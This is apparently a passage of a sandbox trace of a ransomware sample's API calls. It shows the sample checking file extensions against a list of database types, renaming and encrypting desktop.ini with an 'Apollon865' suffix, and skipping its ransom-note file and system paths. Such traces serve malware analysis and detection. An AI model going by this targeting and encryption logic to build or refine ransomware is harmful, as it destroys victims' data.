	[0046.834] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0046.834] lstrlenW (lpString="dct") returned 3
	[0046.834] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0046.834] lstrlenW (lpString="dcx") returned 3
	[0046.834] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0046.835] lstrlenW (lpString="ddl") returned 3
	[0046.835] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0046.835] lstrlenW (lpString="dlis") returned 4
	[0046.835] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0046.835] lstrlenW (lpString="dp1") returned 3
	[0046.835] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0046.835] lstrlenW (lpString="dqy") returned 3
	[0046.835] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0046.835] lstrlenW (lpString="dsk") returned 3
	[0046.835] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0046.835] lstrlenW (lpString="dsn") returned 3
	[0046.835] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0046.835] lstrlenW (lpString="dtsx") returned 4
	[0046.835] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0046.835] lstrlenW (lpString="dxl") returned 3
	[0046.835] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0046.835] lstrlenW (lpString="eco") returned 3
	[0046.835] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0046.835] lstrlenW (lpString="ecx") returned 3
	[0046.835] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0046.835] lstrlenW (lpString="edb") returned 3
	[0046.835] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0046.835] lstrlenW (lpString="epim") returned 4
	[0046.835] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0046.835] lstrlenW (lpString="fcd") returned 3
	[0046.835] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0046.835] lstrlenW (lpString="fdb") returned 3
	[0046.835] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0046.835] lstrlenW (lpString="fic") returned 3
	[0046.835] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0046.835] lstrlenW (lpString="flexolibrary") returned 12
	[0046.835] lstrlenW (lpString="fm5") returned 3
	[0046.835] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0046.835] lstrlenW (lpString="fmp") returned 3
	[0046.835] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0046.836] lstrlenW (lpString="fmp12") returned 5
	[0046.836] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0046.836] lstrlenW (lpString="fmpsl") returned 5
	[0046.836] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0046.836] lstrlenW (lpString="fol") returned 3
	[0046.836] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0046.836] lstrlenW (lpString="fp3") returned 3
	[0046.836] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0046.836] lstrlenW (lpString="fp4") returned 3
	[0046.836] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0046.836] lstrlenW (lpString="fp5") returned 3
	[0046.836] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0046.836] lstrlenW (lpString="fp7") returned 3
	[0046.836] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0046.836] lstrlenW (lpString="fpt") returned 3
	[0046.836] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0046.836] lstrlenW (lpString="frm") returned 3
	[0046.836] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0046.836] lstrlenW (lpString="gdb") returned 3
	[0046.836] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0046.836] lstrlenW (lpString="gdb") returned 3
	[0046.836] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0046.836] lstrlenW (lpString="grdb") returned 4
	[0046.836] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0046.836] lstrlenW (lpString="gwi") returned 3
	[0046.836] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0046.836] lstrlenW (lpString="hdb") returned 3
	[0046.836] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0046.836] lstrlenW (lpString="his") returned 3
	[0046.836] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0046.836] lstrlenW (lpString="ib") returned 2
	[0046.836] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0046.836] lstrlenW (lpString="idb") returned 3
	[0046.836] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0046.837] lstrlenW (lpString="ihx") returned 3
	[0046.837] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0046.837] lstrlenW (lpString="itdb") returned 4
	[0046.837] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0046.837] lstrlenW (lpString="itw") returned 3
	[0046.837] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0046.837] lstrlenW (lpString="jet") returned 3
	[0046.837] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0046.837] lstrlenW (lpString="jtx") returned 3
	[0046.837] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0046.837] lstrlenW (lpString="kdb") returned 3
	[0046.837] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0046.837] lstrlenW (lpString="kexi") returned 4
	[0046.837] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0046.837] lstrlenW (lpString="kexic") returned 5
	[0046.837] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0046.837] lstrlenW (lpString="kexis") returned 5
	[0046.837] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0046.837] lstrlenW (lpString="lgc") returned 3
	[0046.837] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0046.837] lstrlenW (lpString="lwx") returned 3
	[0046.837] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0046.837] lstrlenW (lpString="maf") returned 3
	[0046.837] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0046.837] lstrlenW (lpString="maq") returned 3
	[0046.837] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0046.837] lstrlenW (lpString="mar") returned 3
	[0046.837] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0046.837] lstrlenW (lpString="marshal") returned 7
	[0046.837] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0046.837] lstrlenW (lpString="mas") returned 3
	[0046.837] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0046.837] lstrlenW (lpString="mav") returned 3
	[0046.837] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0046.837] lstrlenW (lpString="maw") returned 3
	[0046.838] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0046.838] lstrlenW (lpString="mdbhtml") returned 7
	[0046.838] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0046.838] lstrlenW (lpString="mdn") returned 3
	[0046.838] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0046.838] lstrlenW (lpString="mdt") returned 3
	[0046.838] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0046.838] lstrlenW (lpString="mfd") returned 3
	[0046.838] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0046.838] lstrlenW (lpString="mpd") returned 3
	[0046.838] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0046.838] lstrlenW (lpString="mrg") returned 3
	[0046.838] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0046.838] lstrlenW (lpString="mud") returned 3
	[0046.838] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0046.838] lstrlenW (lpString="mwb") returned 3
	[0046.838] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0046.838] lstrlenW (lpString="myd") returned 3
	[0046.838] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0046.838] lstrlenW (lpString="ndf") returned 3
	[0046.838] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0046.838] lstrlenW (lpString="nnt") returned 3
	[0046.838] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0046.838] lstrlenW (lpString="nrmlib") returned 6
	[0046.838] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0046.838] lstrlenW (lpString="ns2") returned 3
	[0046.838] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0046.838] lstrlenW (lpString="ns3") returned 3
	[0046.838] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0046.838] lstrlenW (lpString="ns4") returned 3
	[0046.838] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0046.838] lstrlenW (lpString="nsf") returned 3
	[0046.838] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0046.838] lstrlenW (lpString="nv") returned 2
	[0046.838] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0046.839] lstrlenW (lpString="nv2") returned 3
	[0046.839] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0046.839] lstrlenW (lpString="nwdb") returned 4
	[0046.839] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0046.839] lstrlenW (lpString="nyf") returned 3
	[0046.839] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0046.839] lstrlenW (lpString="odb") returned 3
	[0046.839] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0046.839] lstrlenW (lpString="odb") returned 3
	[0046.839] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0046.839] lstrlenW (lpString="oqy") returned 3
	[0046.839] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0046.839] lstrlenW (lpString="ora") returned 3
	[0046.839] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0046.839] lstrlenW (lpString="orx") returned 3
	[0046.839] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0046.839] lstrlenW (lpString="owc") returned 3
	[0046.839] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0046.839] lstrlenW (lpString="p96") returned 3
	[0046.839] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0046.839] lstrlenW (lpString="p97") returned 3
	[0046.839] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0046.839] lstrlenW (lpString="pan") returned 3
	[0046.839] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0046.839] lstrlenW (lpString="pdb") returned 3
	[0046.839] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0046.839] lstrlenW (lpString="pdm") returned 3
	[0046.839] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0046.839] lstrlenW (lpString="pnz") returned 3
	[0046.839] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0046.839] lstrlenW (lpString="qry") returned 3
	[0046.839] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0046.839] lstrlenW (lpString="qvd") returned 3
	[0046.839] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0046.839] lstrlenW (lpString="rbf") returned 3
	[0046.840] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0046.840] lstrlenW (lpString="rctd") returned 4
	[0046.840] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0046.840] lstrlenW (lpString="rod") returned 3
	[0046.840] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0046.840] lstrlenW (lpString="rodx") returned 4
	[0046.840] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0046.840] lstrlenW (lpString="rpd") returned 3
	[0046.840] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0046.840] lstrlenW (lpString="rsd") returned 3
	[0046.840] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0046.840] lstrlenW (lpString="sas7bdat") returned 8
	[0046.840] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0046.840] lstrlenW (lpString="sbf") returned 3
	[0046.840] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0046.840] lstrlenW (lpString="scx") returned 3
	[0046.840] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0046.840] lstrlenW (lpString="sdb") returned 3
	[0046.840] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0046.840] lstrlenW (lpString="sdc") returned 3
	[0046.840] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0046.840] lstrlenW (lpString="sdf") returned 3
	[0046.840] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0046.840] lstrlenW (lpString="sis") returned 3
	[0046.840] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0046.840] lstrlenW (lpString="spq") returned 3
	[0046.840] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0046.840] lstrlenW (lpString="te") returned 2
	[0046.840] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0046.840] lstrlenW (lpString="teacher") returned 7
	[0046.840] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0046.840] lstrlenW (lpString="tmd") returned 3
	[0046.840] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0046.840] lstrlenW (lpString="tps") returned 3
	[0046.840] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0046.841] lstrlenW (lpString="trc") returned 3
	[0046.841] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0046.841] lstrlenW (lpString="trc") returned 3
	[0046.841] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0046.841] lstrlenW (lpString="trm") returned 3
	[0046.841] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0046.841] lstrlenW (lpString="udb") returned 3
	[0046.841] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0046.841] lstrlenW (lpString="udl") returned 3
	[0046.841] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0046.841] lstrlenW (lpString="usr") returned 3
	[0046.841] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0046.841] lstrlenW (lpString="v12") returned 3
	[0046.841] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0046.841] lstrlenW (lpString="vis") returned 3
	[0046.841] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0046.841] lstrlenW (lpString="vpd") returned 3
	[0046.841] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0046.841] lstrlenW (lpString="vvv") returned 3
	[0046.841] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0046.841] lstrlenW (lpString="wdb") returned 3
	[0046.841] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0046.841] lstrlenW (lpString="wmdb") returned 4
	[0046.841] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0046.841] lstrlenW (lpString="wrk") returned 3
	[0046.841] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0046.841] lstrlenW (lpString="xdb") returned 3
	[0046.841] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0046.841] lstrlenW (lpString="xld") returned 3
	[0046.841] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0046.841] lstrlenW (lpString="xmlff") returned 5
	[0046.841] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0046.841] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Documents\\desktop.ini.Apollon865") returned 48
	[0046.842] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Documents\\desktop.ini" (normalized: "c:\\users\\public\\documents\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Documents\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\documents\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0046.842] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\documents\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0046.842] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=278) returned 1
	[0046.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0046.843] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0046.843] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0046.843] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf788) returned 1
	[0046.843] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0046.843] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.844] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x420, lpName=0x0) returned 0x160
	[0046.844] MapViewOfFile (hFileMappingObject=0x160, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x420) returned 0x120000
	[0046.845] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf788) returned 1
	[0046.846] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0046.846] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0046.846] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0046.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0046.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0046.846] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0046.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0046.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5aa3c8
	[0046.846] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0046.846] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0046.846] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0046.846] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0046.847] CloseHandle (hObject=0x160) returned 1
	[0046.847] CloseHandle (hObject=0x15c) returned 1
	[0046.848] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0046.848] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0046.848] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0046.848] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc2fa70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2dc2fa70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.848] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.848] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1
	[0046.848] lstrcmpiW (lpString1="My Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.848] lstrcmpiW (lpString1="My Music", lpString2="Apollon865.txt.exe") returned 1
	[0046.848] lstrcmpiW (lpString1="My Music", lpString2=".") returned 1
	[0046.848] lstrcmpiW (lpString1="My Music", lpString2="..") returned 1
	[0046.848] lstrcmpiW (lpString1="My Music", lpString2="windows") returned -1
	[0046.848] lstrcmpiW (lpString1="My Music", lpString2="bootmgr") returned 1
	[0046.848] lstrcmpiW (lpString1="My Music", lpString2="temp") returned -1
	[0046.848] lstrcmpiW (lpString1="My Music", lpString2="pagefile.sys") returned -1
	[0046.848] lstrcmpiW (lpString1="My Music", lpString2="boot") returned 1
	[0046.848] lstrcmpiW (lpString1="My Music", lpString2="ids.txt") returned 1
	[0046.848] lstrcmpiW (lpString1="My Music", lpString2="ntuser.dat") returned -1
	[0046.848] lstrcmpiW (lpString1="My Music", lpString2="perflogs") returned -1
	[0046.848] lstrcmpiW (lpString1="My Music", lpString2="MSBuild") returned 1
	[0046.848] lstrlenW (lpString="My Music") returned 8
	[0046.848] lstrlenW (lpString="C:\\Users\\Public\\Documents\\desktop.ini") returned 37
	[0046.848] lstrcpyW (in: lpString1=0x119e63c, lpString2="My Music" | out: lpString1="My Music") returned="My Music"
	[0046.848] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b48
	[0046.848] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x46) returned 0x5bdca8
	[0046.848] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b50 | out: ListHead=0x5b75f0, ListEntry=0x5b7b50) returned 0x5b7bb0
	[0046.848] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1
	[0046.848] lstrcmpiW (lpString1="My Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.849] lstrcmpiW (lpString1="My Pictures", lpString2="Apollon865.txt.exe") returned 1
	[0046.849] lstrcmpiW (lpString1="My Pictures", lpString2=".") returned 1
	[0046.849] lstrcmpiW (lpString1="My Pictures", lpString2="..") returned 1
	[0046.849] lstrcmpiW (lpString1="My Pictures", lpString2="windows") returned -1
	[0046.849] lstrcmpiW (lpString1="My Pictures", lpString2="bootmgr") returned 1
	[0046.849] lstrcmpiW (lpString1="My Pictures", lpString2="temp") returned -1
	[0046.849] lstrcmpiW (lpString1="My Pictures", lpString2="pagefile.sys") returned -1
	[0046.849] lstrcmpiW (lpString1="My Pictures", lpString2="boot") returned 1
	[0046.849] lstrcmpiW (lpString1="My Pictures", lpString2="ids.txt") returned 1
	[0046.849] lstrcmpiW (lpString1="My Pictures", lpString2="ntuser.dat") returned -1
	[0046.849] lstrcmpiW (lpString1="My Pictures", lpString2="perflogs") returned -1
	[0046.849] lstrcmpiW (lpString1="My Pictures", lpString2="MSBuild") returned 1
	[0046.849] lstrlenW (lpString="My Pictures") returned 11
	[0046.849] lstrlenW (lpString="C:\\Users\\Public\\Documents\\My Music") returned 34
	[0046.849] lstrcpyW (in: lpString1=0x119e63c, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures"
	[0046.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0046.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4c) returned 0x5bc908
	[0046.849] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b70 | out: ListHead=0x5b75f0, ListEntry=0x5b7b70) returned 0x5b7b50
	[0046.849] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1
	[0046.849] lstrcmpiW (lpString1="My Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.849] lstrcmpiW (lpString1="My Videos", lpString2="Apollon865.txt.exe") returned 1
	[0046.849] lstrcmpiW (lpString1="My Videos", lpString2=".") returned 1
	[0046.849] lstrcmpiW (lpString1="My Videos", lpString2="..") returned 1
	[0046.849] lstrcmpiW (lpString1="My Videos", lpString2="windows") returned -1
	[0046.849] lstrcmpiW (lpString1="My Videos", lpString2="bootmgr") returned 1
	[0046.849] lstrcmpiW (lpString1="My Videos", lpString2="temp") returned -1
	[0046.849] lstrcmpiW (lpString1="My Videos", lpString2="pagefile.sys") returned -1
	[0046.849] lstrcmpiW (lpString1="My Videos", lpString2="boot") returned 1
	[0046.849] lstrcmpiW (lpString1="My Videos", lpString2="ids.txt") returned 1
	[0046.849] lstrcmpiW (lpString1="My Videos", lpString2="ntuser.dat") returned -1
	[0046.849] lstrcmpiW (lpString1="My Videos", lpString2="perflogs") returned -1
	[0046.849] lstrcmpiW (lpString1="My Videos", lpString2="MSBuild") returned 1
	[0046.849] lstrlenW (lpString="My Videos") returned 9
	[0046.850] lstrlenW (lpString="C:\\Users\\Public\\Documents\\My Pictures") returned 37
	[0046.850] lstrcpyW (in: lpString1=0x119e63c, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos"
	[0046.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0046.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bde88
	[0046.850] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b90 | out: ListHead=0x5b75f0, ListEntry=0x5b7b90) returned 0x5b7b70
	[0046.850] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0
	[0046.850] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0046.850] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b90
	[0046.850] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Public\\Documents\\My Videos", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos"
	[0046.850] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bde88 | out: hHeap=0x580000) returned 1
	[0046.850] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0046.850] lstrlenW (lpString="C:\\Users\\Public\\Documents\\My Videos") returned 35
